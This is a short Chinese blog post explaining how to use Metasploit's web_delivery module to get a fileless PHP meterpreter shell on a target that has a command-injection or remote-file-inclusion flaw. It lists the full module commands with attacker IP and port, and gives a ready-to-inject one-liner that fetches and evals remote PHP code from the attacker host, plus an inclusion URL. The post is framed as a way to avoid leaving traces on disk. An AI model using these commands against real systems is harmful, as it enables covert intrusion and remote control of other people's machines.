msf中exploit的web_delivery模块

 

背景:目标设备存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,但不想在目标设备硬盘上留下任何webshell文件信息

 

解决思路:让目标设备从远端服务器加载webshell代码至内存执行

错误尝试:远端服务器开启web服务,让目标设备来调取。(错误点:默认情况下目标设备来调取的时候其实是将webshell在远端服务器执行,并不是将文件加载至自己内存执行)

正确方法与工具:使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)。

具体使用步骤:

1、use exploit/multi/script/web_delivery

2、set target PHP   ====>因为一般web平台默认支持PHP,所以我们选择兼容性最好的PHP做webshell

3、set payload php/meterpreter/reverse_tcp    ====>选择php写的meterpreter

4、set lhost 172.20.163.160

5、set lport 1111

6、run

 

运行成功后显示(只需让目标设备在系统命令下执行标红部分命令就可得到对方shell):

 

利用方式:

1、命令注入漏洞:

在注入点注入:  php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.20.163.160:1111/OgsOFaj3yKH'));"

2、远程文件包含漏洞:

在包含漏洞处包含: http://172.20.163.160:1111/OgsOFaj3yKH

posted @ 2019-03-11 13:00  白桦林_HK  阅读(2970)  评论(0编辑  收藏  举报